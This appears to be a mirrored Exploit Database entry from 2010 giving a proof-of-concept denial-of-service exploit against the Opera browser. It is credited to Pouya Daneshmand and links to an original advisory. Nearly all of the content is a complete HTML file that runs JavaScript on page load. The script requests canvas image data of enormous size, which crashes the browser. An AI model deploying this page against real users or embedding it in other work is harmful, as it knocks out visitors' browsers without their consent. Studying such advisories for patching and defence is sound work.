Opera – Canvas Element (Denial of Service)

Exploit Database
105 阅读

作者： Pouya Daneshmand

日期： 2010-07-12
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/14349/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

Opera.html

<html>

<body onload="Opera()">

<script language=JavaScript>

function Opera() {

canvas = document.getElementById("canvas");

ctx = canvas.getContext("2d");

ctx.getImageData(0,0,0x20000,0x20000);

}

</script>

<canvas id=canvas width=10 height=10></canvas>

</body>

</html>

Original Advisory:

http://pouya.info/blog/userfiles/vul/OperaCC.pdf